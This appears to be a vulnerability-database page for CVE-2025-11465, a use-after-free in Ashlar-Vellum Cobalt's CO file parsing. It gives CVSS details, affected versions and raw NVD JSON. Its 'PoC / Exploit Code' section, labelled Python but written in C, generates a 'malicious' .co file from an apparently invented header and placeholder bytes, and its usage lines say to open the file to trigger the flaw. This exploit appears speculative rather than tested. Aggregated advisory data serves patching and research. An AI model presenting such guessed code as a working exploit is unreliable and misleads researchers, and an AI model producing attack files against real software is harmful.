Security Vulnerability Report
中文
CVE-2025-11465 CVSS 7.8 HIGH

CVE-2025-11465

Published: 2025-10-29 20:15:36
Last Modified: 2025-11-04 21:28:10

Description

Ashlar-Vellum Cobalt CO File Parsing Use-After-Free Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Ashlar-Vellum Cobalt. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of CO files. The issue results from the lack of validating the existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-26631.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ashlar:cobalt:12.2.1204.97:*:*:*:*:*:*:* - VULNERABLE
Ashlar-Vellum Cobalt < 最新版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-11465 PoC - Use-After-Free in Ashlar-Vellum Cobalt CO File Parser // This PoC creates a malicious CO file that triggers the UAF vulnerability #include <stdio.h> #include <stdlib.h> #include <string.h> // CO File Header Structure typedef struct { char magic[4]; // CO file magic number int version; int header_size; int object_count; } COHeader; // Malicious object that triggers UAF unsigned char malicious_co_file[] = { // CO file header 'C', 'O', 'F', 'M', // Magic: COFM 0x01, 0x00, 0x00, 0x00, // Version 0x40, 0x00, 0x00, 0x00, // Header size 0x02, 0x00, 0x00, 0x00, // Object count // Object 1: Normal object (will be freed) 0x01, 0x00, 0x00, 0x00, // Object type 0x20, 0x00, 0x00, 0x00, // Object size 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Object 2: Trigger object (causes free of Object 1) 0x02, 0x00, 0x00, 0x00, // Object type (trigger type) 0x20, 0x00, 0x00, 0x00, // Object size 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // UAF trigger: Reference to freed object 0xFF, 0xFF, 0xFF, 0xFF, // Invalid pointer/reference // Padding to reach file size 0x00, 0x00, 0x00, 0x00 }; void generate_poc_file(const char* filename) { FILE* fp = fopen(filename, "wb"); if (fp) { fwrite(malicious_co_file, 1, sizeof(malicious_co_file), fp); fclose(fp); printf("[+] PoC file generated: %s\n", filename); } } int main() { printf("CVE-2025-11465 PoC Generator\n"); printf("Ashlar-Vellum Cobalt CO File UAF RCE\n\n"); generate_poc_file("CVE-2025-11465_malicious.co"); printf("\n[!] Usage: Open the generated .co file with Ashlar-Vellum Cobalt\n"); printf("[!] This will trigger the Use-After-Free vulnerability\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11465", "sourceIdentifier": "[email protected]", "published": "2025-10-29T20:15:36.317", "lastModified": "2025-11-04T21:28:10.057", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ashlar-Vellum Cobalt CO File Parsing Use-After-Free Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Ashlar-Vellum Cobalt. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of CO files. The issue results from the lack of validating the existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-26631."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ashlar:cobalt:12.2.1204.97:*:*:*:*:*:*:*", "matchCriteriaId": "C0A7B7EF-4D31-41A6-839C-600D91647F69"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-956/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}